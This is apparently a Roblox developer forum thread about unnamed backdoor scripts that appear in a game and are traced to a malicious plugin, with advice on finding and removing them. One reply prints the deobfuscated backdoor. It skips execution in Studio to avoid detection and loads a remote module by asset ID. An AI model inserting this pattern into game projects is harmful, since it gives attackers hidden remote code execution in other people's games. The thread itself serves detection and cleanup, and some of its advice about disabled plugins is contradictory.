I was working on a border patrol game with a couple of friends. Out of no where, my friend and me started to discover these scripts inside the parts of the roads I made. The scripts had no name, and in them, the code was
Firstly, I would suggest searching for a require script in your scripts. You can do this by pressing CTRL + SHIFT + F to help find the script. (Require scripts that can be a backdoor issue will have random numbers. However, you can look up the model ID on Roblox to find more information on it.)
Secondly, I suggest going over the source codes on your plugins. There may be malicious scripts that are appearing every time you use a plugin.
If these issues are still happening, try uninstalling all of your plugins you don’t use. Even if a plugin is disabled, it can still put stuff in your game.
A disabled plugin cannot run at all. I have tested this as one of my plugin that I made prints out “Welcome to grip editor” when studio is opened. However, when it is disabled, I don’t see that anymore. If you have already disabled your plugins and it keeps happening, try disabling more, or it’s probably one of the other options.
Are you seeing the growth in studio, or in game, how much time do you think it takes?
Try copying the first few characters in that script and using CTRL + SHIFT + F with those few characters and deleting them all.
Since scripts outside of plugins and command bar don’t run in a studio environment, it is most likely a plugin if you are not running anything with command bar. Try removing any plugins that aren’t commonly used by many people.
If you wondering what the code actually did here is the deobfuscated version, roughly:
-- Variables were there to obscure the code further
if game:GetService("RunService"):IsStudio() then
return
end
if not pcall(function()
description = game:GetService("MarketplaceService"):GetProductInfo(4586241882).Description
end) then
pcall(function()
require(4580285778)
end)
end
It’s requiring a module, that’s about it. It checks if the script is running in studio to do nothing so you don’t realise there’s something going on until you actually play in a real game. Btw if you ever want to inspect a plugin’s source just do in the command bar:
This happens because of viruses found in malicious third-party plugins. These plugins are often botted onto the relevant section of the Plugins toolbox, making it extremely easy to fall for. I recommend looking at approval ratings, comments, the plugin’s creator, and many other factors. Luckily, I doubt that these plugins do any (serious) damage onto your game, aside from pasting in random lines of code. Just remember to stay vigilant when it comes to things on the toolbox.
The issue has been solved, my freind has the virus in a plugin. I had to remove him. The scripts appeared in roblox studio, and reappeared after I deleted them.